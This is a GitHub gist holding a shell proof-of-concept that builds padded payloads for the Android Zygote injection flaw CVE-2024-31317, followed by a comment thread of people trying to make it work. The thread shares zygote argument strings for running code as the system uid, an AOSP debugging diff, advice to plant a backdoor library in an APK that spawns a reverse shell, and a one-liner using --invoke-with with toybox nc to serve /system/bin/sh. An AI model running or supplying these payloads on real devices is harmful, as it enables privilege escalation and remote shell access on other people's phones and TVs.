-
-
Save rabits/ecae96c256cb25726b2bb92c73f9c081 to your computer and use it in GitHub Desktop.
| #!/bin/sh | |
| # PoC prepares the payload of commands to execute through the zygote injection CVE-2024-31317: | |
| # https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html | |
| # | |
| # USAGE (android 13, with pre-13 use 12200 instead of 32768): | |
| # host$ adb push payload.sh /sdcard/ | |
| # host$ adb shell | |
| # shell$ logcat -c; settings put global hidden_api_blacklist_exemptions "$(sh /sdcard/payload.sh 8192 32768 \ | |
| # --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=16787456 --mount-external-default --target-sdk-version=22 \ | |
| # --setgroups=3003 --nice-name=com.android.settings --seinfo=platform:privapp:targetSdkVersion=33:complete \ | |
| # --instruction-set=x86 --app-data-dir=/data/user/0/jackpal.androidterm --package-name=jackpal.androidterm --is-top-app \ | |
| # android.app.ActivityThread seq=40)"; logcat | |
| # Getting the values from parameters | |
| buffer_size=$1 | |
| shift | |
| zygote_read_abort_size=$1 | |
| shift | |
| zygote_args_len=$# | |
| # What's predefined in the executed command when execute `settings put global hidden_api_blacklist_exemptions <val>` | |
| prefix="6 --set-api-denylist-exemptions " | |
| prefix_len=$(echo -n "$prefix" | wc -c) | |
| add_chars=$(($buffer_size - $prefix_len + 2)) | |
| # For tests: echo the prefix, delete from prod: | |
| #echo "6\n--set-api-denylist-exemptions" | |
| # Making pad to fill the first buffer and amount should go in the next buffer | |
| payload=$(printf "\n\n\n\n\n%${add_chars}s" $zygote_args_len | tr ' ' A) | |
| # Printing each zygote argument to run | |
| for arg in "$@"; do | |
| payload="$payload\n$(echo "$arg")" | |
| done | |
| echo "$payload" | |
| payload_len=$(echo "$payload" | wc -c) | |
| echo -n ,,,, | |
| add_chars=$(($buffer_size*2 - ($prefix_len + $payload_len) - 1)) | |
| printf "%${add_chars}s" 'X' | tr ' ' 'X' | |
| echo E |
Fwiw I am not having success with the sleep command on this one either. I'll try to debug but if you can let me know whether you have success running sleep using this version it will help to debug because it will let me know if it's an issue with my environment or not
@rabits can you tell me how you arrived at this payload, i ask because I think I am getting close to accomplishing but the payload doesn't seem to make sense to me
# --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=16787456 --mount-external-default --target-sdk-version=22 \
# --setgroups=3003 --nice-name=com.android.settings --seinfo=platform:privapp:targetSdkVersion=33:complete \
# --instruction-set=x86 --app-data-dir=/data/user/0/jackpal.androidterm --package-name=jackpal.androidterm --is-top-app \
# android.app.ActivityThread seq=40
how was seq=40 determined... and android.app.ActivityThread rather than jackpal.androidterm.Term and the runtime flags
As far I remember I just looked at the actual zygote command when you run the application - took everything from it (except for comma-containing params like runtime-flags, because they will interfere with the zygote stream parser) and got this thing that you see...
And nope, you can't run "sleep" from zygote. When zygote forks itself after receiving command via unix socket - it starts to go through regular options parsing and can only (as far I got it) run the android apps, not native binaries. So that's why I use android app for that - and terminal, in theory, with those elevated privileges will be able to show something new then regular terminal app.
i found that you can run native binaries and shell commands using --invoke-with... however i also found that this does not have a use case for obtaining any uid 0 privileges due to: https://cs.android.com/android/platform/superproject/+/android14-qpr3-release:frameworks/base/core/java/com/android/internal/os/Zygote.java;drc=2cfe9651b5e90e7968e21b2d4b58d54e2b83b7d9;l=993
Oh for sure UID 0 is impossible with zygote... Not quite sure about 1000, but should be possible and it gives enough privileges to do some interesting things with the system.
So the important part here - is how to make system server to send the app request and then bind the fake app with newcoming pid instead of the real app - quite sure that should be possible with the right timing, because as folks said in the challenge 2 - system-zygote socket will return the app and system service will bind whatever was returned.
Oh for sure UID 0 is impossible with zygote... Not quite sure about 1000, but should be possible and it gives enough privileges to do some interesting things with the system.
yeah thats true.. it is possible I have done so. If you have a telegram I can share there. What you are saying sounds interesting but complicated. For me personally, i find having the system shell is all i care to settle for
I was trying this CVE for android 11 =< which should not require bypassing the new-ish buffers but I couldn't make it work, here is the main payload.sh I tried:
echo -n 'LClass1;->field1:
11
--runtime-args
--setuid=1000
--setgid=1000
--mount-external-default
--target-sdk-version=22
--nice-name=com.android.settings
--seinfo=platform:privapp:targetSdkVersion=33:complete
--app-data-dir=/data/user/0/com.termoneplus
--package-name=com.termoneplus
--is-top-app
android.app.ActivityThread'@rabits could you give more information on how you extracted the proper zygote calls ? grepping logcat for Zygote or ActivityManager did not yield anything useful.
The above payload got me as far as crashing the zygote (dalvik crash) and making the phone unusable as no new apps can be opened (apps take long time to open and then stay empy, even after settings delete global hidden_api_blacklist_exemptions) lol
E: The problem seems to be something with selinux context:
09-21 14:50:53.748 11350 11350 E SELinux : seapp_context_lookup: No match for app with uid 1000, seinfo (null), name com.termoneplus
09-21 14:50:53.748 11350 11350 E SELinux : selinux_android_setcontext: Error setting context for app with uid 1000, seinfo (null): Success
09-21 14:50:53.748 11350 11350 F zygote64: jni_internal.cc:729] JNI FatalError called: (com.termoneplus) frameworks/base/core/jni/com_android_internal_os_Zygote.cpp:1799: selinux_android_setcontext(1000, 0, "(null)", "com.termoneplus") failed
I was trying this CVE for android 11 =< which should not require bypassing the new-ish buffers but I couldn't make it work, here is the main payload.sh I tried:
echo -n 'LClass1;->field1: 11 --runtime-args --setuid=1000 --setgid=1000 --mount-external-default --target-sdk-version=22 --nice-name=com.android.settings --seinfo=platform:privapp:targetSdkVersion=33:complete --app-data-dir=/data/user/0/com.termoneplus --package-name=com.termoneplus --is-top-app android.app.ActivityThread'@rabits could you give more information on how you extracted the proper zygote calls ? grepping logcat for Zygote or ActivityManager did not yield anything useful.
The above payload got me as far as crashing the zygote (dalvik crash) and making the phone unusable as no new apps can be opened (apps take long time to open and then stay empy, even after
settings delete global hidden_api_blacklist_exemptions) lolE: The problem seems to be something with selinux context:
09-21 14:50:53.748 11350 11350 E SELinux : seapp_context_lookup: No match for app with uid 1000, seinfo (null), name com.termoneplus 09-21 14:50:53.748 11350 11350 E SELinux : selinux_android_setcontext: Error setting context for app with uid 1000, seinfo (null): Success 09-21 14:50:53.748 11350 11350 F zygote64: jni_internal.cc:729] JNI FatalError called: (com.termoneplus) frameworks/base/core/jni/com_android_internal_os_Zygote.cpp:1799: selinux_android_setcontext(1000, 0, "(null)", "com.termoneplus") failed
It will try to match an entry from seapp_contexts (plat or vendor) , if it doesn't find a match you'll get that error
Hi @wereii , yeah you right - it will not show the calls by default - I've built android 13 from AOSP and ran it in emulator from android studio. Here is a memo that will allow to do the same:
- Create android13 dir on the disk with >150GB of free space:
host$ mkdir android13 - Run docker with mount of the parent folder as workspace:
host$ docker run --rm -it -v "$PWD:/ws" -w /ws ubuntu:20.04 - Install required tools in docker container:
docker$ apt update ; apt-get install -y tzdata git-core gnupg flex bison apt-utils build-essential zip curl \ zlib1g-dev liblz-dev gcc-multilib g++-multilib libc6-dev-i386 libncurses5 lib32ncurses5-dev \ x11proto-core-dev libx11-dev lib32z-dev libgl1-mesa-dev libxml2-utils xsltproc unzip \ fontconfig uuid uuid-dev liblzo2-2 liblzo2-dev lzop u-boot-tools mtd-utils \ android-sdk-libsparse-utils android-sdk-ext4-utils device-tree-compiler gdisk m4 make \ libssl-dev libghc-gnutls-dev swig libdw-dev dwarves python bc cpio tar lz4 zstd rsync \ ninja-build clang android-tools-adb gperf software-properties-common sshpass \ ssh-askpass xz-utils kpartx vim screen sudo wget locales openjdk-8-jdk python3 kmod cgpt \ bsdmainutils lzip hdparm cmake python3-protobuf - Set git user & email:
docker$ git config --global user.email "build@example.com" ; git config --global user.name "Your Name" - Get repo tool from: https://gerrit.googlesource.com/git-repo/+/refs/heads/master/README.md
- Go into created dir and download the initial repository (branches available here: https://android.googlesource.com/platform/manifest/+refs ):
docker$ cd android13 ; repo init -u https://android.googlesource.com/platform/manifest -b android-13.0.0_r1 - Sync the repository (will take ~130GB and ~1hr):
docker$ repo sync -c -j$(nproc) --no-tags --no-clone-bundle - Run envsetup for AOSP:
docker$ source build/envsetup.sh - Run lunch to setup the target for AOSP:
docker$ lunch aosp_cf_arm64_phone-userdebug - Make the system image:
docker$ make emu_img_zip -j$(nproc)
But overall there should be some manuals on how to make it work in emulator... After that, when you've build default image and try to run it in emulator ( https://medium.com/@imitiyaz125/build-aosp-emulator-image-fd4ae86a39cc ) - you can modify the sources and rebuild the image. Here is my changes I used to get into zygote logs and figure out the args:
project frameworks/base/
diff --git a/core/jni/com_android_internal_os_Zygote.cpp b/core/jni/com_android_internal_os_Zygote.cpp
index 21bbac0b0a7d..5d8e644fc0d2 100644
--- a/core/jni/com_android_internal_os_Zygote.cpp
+++ b/core/jni/com_android_internal_os_Zygote.cpp
@@ -1750,6 +1750,8 @@ static void SpecializeCommon(JNIEnv* env, uid_t uid, gid_t gid, jintArray gids,
const char* se_info_ptr = se_info.has_value() ? se_info.value().c_str() : nullptr;
+ ALOGI("!!!DEBUG4: Setting selinux_android_setcontext: %d %d %s", uid, is_system_server, nice_name_ptr);
+
if (selinux_android_setcontext(uid, is_system_server, se_info_ptr, nice_name_ptr) == -1) {
fail_fn(CREATE_ERROR("selinux_android_setcontext(%d, %d, \"%s\", \"%s\") failed", uid,
is_system_server, se_info_ptr, nice_name_ptr));
@@ -1783,6 +1785,8 @@ static void SpecializeCommon(JNIEnv* env, uid_t uid, gid_t gid, jintArray gids,
initUnsolSocketToSystemServer();
}
+ ALOGI("!!!DEBUG5: CallStaticVoidMethod: %s", nice_name_ptr);
+
env->CallStaticVoidMethod(gZygoteClass, gCallPostForkChildHooks, runtime_flags,
is_system_server, is_child_zygote, managed_instruction_set);
@@ -2354,7 +2358,8 @@ static void com_android_internal_os_Zygote_nativeSpecializeAppProcess(
jobjectArray allowlisted_data_info_list, jboolean mount_data_dirs,
jboolean mount_storage_dirs) {
jlong capabilities = CalculateCapabilities(env, uid, gid, gids, is_child_zygote);
-
+
+ ALOGI("!!!DEBUG4: In com_android_internal_os_Zygote_nativeSpecializeAppProcess: %d", uid);
SpecializeCommon(env, uid, gid, gids, runtime_flags, rlimits, capabilities, capabilities,
mount_external, se_info, nice_name, false, is_child_zygote == JNI_TRUE,
instruction_set, app_data_dir, is_top_app == JNI_TRUE, pkg_data_info_list,
diff --git a/core/jni/com_android_internal_os_ZygoteCommandBuffer.cpp b/core/jni/com_android_internal_os_ZygoteCommandBuffer.cpp
index add645dee718..ff607b6350dd 100644
--- a/core/jni/com_android_internal_os_ZygoteCommandBuffer.cpp
+++ b/core/jni/com_android_internal_os_ZygoteCommandBuffer.cpp
@@ -136,6 +136,15 @@ class NativeCommandBuffer {
}
char* countString = line.value().first; // Newline terminated.
long nArgs = atol(countString);
+ ALOGD("!!!DEBUG '%s'", line.value().first);
+ if (strlen(line.value().first) > 1000) {
+ // Print the rest of the data
+ ALOGD("!!!DEBUG_cont '%s'", &line.value().first[1000]);
+ }
+ if (strlen(line.value().first) > 2000) {
+ // Print the rest of the data
+ ALOGD("!!!DEBUG_cont '%s'", &line.value().first[2000]);
+ }
if (nArgs <= 0 || nArgs >= MAX_COMMAND_BYTES / 2) {
fail_fn(CREATE_ERROR("Unreasonable argument count %ld", nArgs));
}
@@ -174,12 +183,19 @@ class NativeCommandBuffer {
bool saw_setuid = false, saw_setgid = false;
bool saw_runtime_args = false;
+ char debug_line[2048];
while (mLinesLeft > 0) {
auto read_result = readLine(fail_fn);
if (!read_result.has_value()) {
return false;
}
auto [arg_start, arg_end] = read_result.value();
+ debug_len = arg_end-arg_start>2047 ? debug_len = 2047 : arg_end-arg_start;
+ if (debug_len > 1) {
+ strncpy(debug_line,arg_start,debug_len);
+ debug_line[debug_len] = '\0';
+ ALOGD("!!!DEBUG7: Left lines to read: %d, '%s'", mLinesLeft, debug_line);
+ }
if (arg_end - arg_start == RA_LENGTH
&& strncmp(arg_start, RUNTIME_ARGS, RA_LENGTH) == 0) {
saw_runtime_args = true;
diff --git a/services/core/java/com/android/server/am/ActivityManagerService.java b/services/core/java/com/android/server/am/ActivityManagerService.java
index a78c64b6538d..296287366ed8 100644
--- a/services/core/java/com/android/server/am/ActivityManagerService.java
+++ b/services/core/java/com/android/server/am/ActivityManagerService.java
@@ -2202,6 +2202,7 @@ public class ActivityManagerService extends IActivityManager.Stub
Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS);
if (!TextUtils.equals(exemptions, mExemptionsStr)) {
mExemptionsStr = exemptions;
+ Slog.i(TAG, "!!!DEBUG2: passing exceptions string: '"+mExemptionsStr+"'");
if ("*".equals(exemptions)) {
mBlacklistDisabled = true;
mExemptions = Collections.emptyList();
@@ -2211,6 +2212,7 @@ public class ActivityManagerService extends IActivityManager.Stub
? Collections.emptyList()
: Arrays.asList(exemptions.split(","));
}
+ Slog.i(TAG, "!!!DEBUG3: passing exceptions list:"+mExemptions);
if (!ZYGOTE_PROCESS.setApiDenylistExemptions(mExemptions)) {
Slog.e(TAG, "Failed to set API blacklist exemptions!");
// leave mExemptionsStr as is, so we don't try to send the same list again.
@@ -4680,6 +4682,7 @@ public class ActivityManagerService extends IActivityManager.Stub
} else {
app = null;
}
+ Slog.w(TAG, "!!!DEBUG8: binding application: " + String(pid) + " app: " + app);
// It's possible that process called attachApplication before we got a chance to
// update the internal state.I hope that will help.
@rabits Thanks for the extensive answer! Will see if I can get it to work.
@diabl0w are you willing to share some details on how you achieved system shell? I'd imagine it skips quite a bit of the complexity of the full app launch, but unfortunately I haven't had much success. If you prefer telegram you can find me with the same username.
you could achieve system shell by installing an apk with a backdoor ELF lib.so that spawn a reverse shell and connect back to you
just compile a program, rename it to some-lib-name.so, throw it in jniLibs in android studio, build and install that apk so it would be placed in /data/app/some-random-string-in-android/package-name-other-randomstring/lib/your-device-architect/some-lib-name.so, you could get the random string by using pm list packages -f package-name in adb
with that reverse shell use the payload.sh to generate appropriate --uid, --seinfo, and using --invoke-with that point directly to some-lib-name.so, you would get a shell for such uid
Found those papers about the CVE but still was unable to complete the final step:
- https://blog.flanker017.me/the-new-mystique-bug-cve-2024-31317/ ( https://blog-flanker017-me.translate.goog/the-new-mystique-bug-cve-2024-31317/?_x_tr_sl=zh-TW&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp )
- https://github.com/fuhei/CVE-2024-31317 (https://github-com.translate.goog/fuhei/CVE-2024-31317?_x_tr_sl=zh-TW&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp )
- https://www.lovei.org/archives/cve-2024-31317.html
Is the count of commas at the end always 4 or multiplicatively related between buffer size and cutoff size?
Is the count of commas at the end always 4 or multiplicatively related between buffer size and cutoff size?
The commas are there to split the entries, `arg count' = number of entries + 1, you could see their usage in the original blog
To make this outcome more likely, we can insert a large number of commas at the end of our setting value, causing maybeSetApiDenylistExemptions() to spend time looping after the first write but before the second. Those commas also increase the legitimate command’s argument count, but that’s not a problem as long as we ensure the first 8192 bytes contain at least that many newlines.
You could build the payload with the proof-of-concept section in the original blog (https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html#h-appendix-proof-of-concept)
I was trying to run a service using this exploit which would have some method to perform privileged functions and then return the response. This service could be then called by a custom non-privileged application during runtime achieve privilege function calls and show the result on the UI. Is anyone able to achieve this or anything similar?
Following this - https://blog.flanker017.me/cve-2024-31317/
I tried to do something like this
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
18
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=2049
--mount-external-full
--target-sdk-version=29
--setgroups=3003
--nice-name=hello_world_zygote
--seinfo=platform:system_app:targetSdkVersion=29:complete
--instruction-set=arm
--app-data-dir=/data/
--package-name=com.android.settings
com.android.internal.os.WrapperInit
0
29
-cp
/data/local/tmp/classes.dex
com.test.user.helloworld.WrapperCustom
"
But it is throwing Already Cached excpetion
java.lang.IllegalStateException: Already cached. at android.app.ApplicationLoaders.createAndCacheNonBootclasspathSystemClassLoaders(ApplicationLoaders.java:148) at com.android.internal.os.ZygoteInit.cacheNonBootClasspathClassLoaders(ZygoteInit.java:374) at com.android.internal.os.ZygoteInit.preload(ZygoteInit.java:144) at com.android.internal.os.WrapperInit.main(WrapperInit.java:83) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:492) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:930)
@yash-srivastava
system uid has no access to /data/local/tmp
- has anyone solved the problem of unsyncing the zygote wire protocol on Android 11 or 10?
- has anyone gotten the 'add JDWP Flag on the fly' method to work with the full startup (not --invoke-with)?
So there is a nicely working exploit out there that works below Android 12:
https://xdaforums.com/t/system-user-fireos7-os8-all-fire-cubes-sticks-televisions-tablets.4759215/
settings put global hidden_api_blacklist_exemptions "LClass1;->method1( 10 --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=2049 --mount-external-full --setgroups=3003 --nice-name=runnetcat --seinfo=platform:targetSdkVersion=28:complete --invoke-with toybox nc -s 127.0.0.1 -p 4321 -L /system/bin/sh -l; " settings delete global hidden_api_blacklist_exemptions sleep 2 toybox nc localhost 4321
I tried to wrap this with your script after some edits, and attempted to use it on Android12. I dump hidden_api_blacklist_exemptions , it seems to have the same structure as the lower Android, but with a bunch of padding. Below is the subset of that. Anyway, A12 immediately restarts zygote, and re-inits everything. If I don't have the delete command right after - it bootloops until I manage to delete hidden_api_blacklist_exemptions.. I don't lose adb access as it's bootlooping, so there is some control. Ideas?
Here is a piece of the padded hidden_api_blacklist_exemptions after your modded script:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALClass1;->method1( 10 --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=2049 --mount-external-full --setgroups=3003 --nice-name=runnetcat --seinfo=platform:targetSdkVersion=28:complete --invoke-with toybox nc -s 127.0.0.1 -p 4321 -L /system/bin/sh -l; ,,,,XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Hi @bibikalka1 , great to see this is helping someone) Unfortunately I'm stuck a long ago with making this PoC work for Android 13, no matter how hard I've red-eyed the original papers...
So are you saying that this PoC2 never worked on your virtual A13?
It just seems to crash zygote, and nothing more ...
On Android >11 there are additional measures implemented which needs to be mitigated. It crashes zygote if done improperly (not correct commands or padding - you can find that if will check zygote crash output). Maximum I was able to achieve is to execute command, then it passed into zygote, but was never able to properly execute a second one to steal it's pid. I suppose precise timing & control is needed, or I'm missing something crucial. And yeah, every execution of PoC I had to reboot the device, otherwise zygote stays in this corrupted state...
Well, if I can ensure that it's the same commands as A11 that are known to work, what is missing in A12/13? Can the padding be excessive?
I guess you were not able to implement this to the letter?
https://blog.flanker017.me/cve-2024-31317/
@rabits
How about his site:
https://github.com/agg23/cve-2024-31317/blob/master/explanation.md
Now it not crashes the zygote process (as the PoC 1), but still need a way to bind to the system service to not be killed: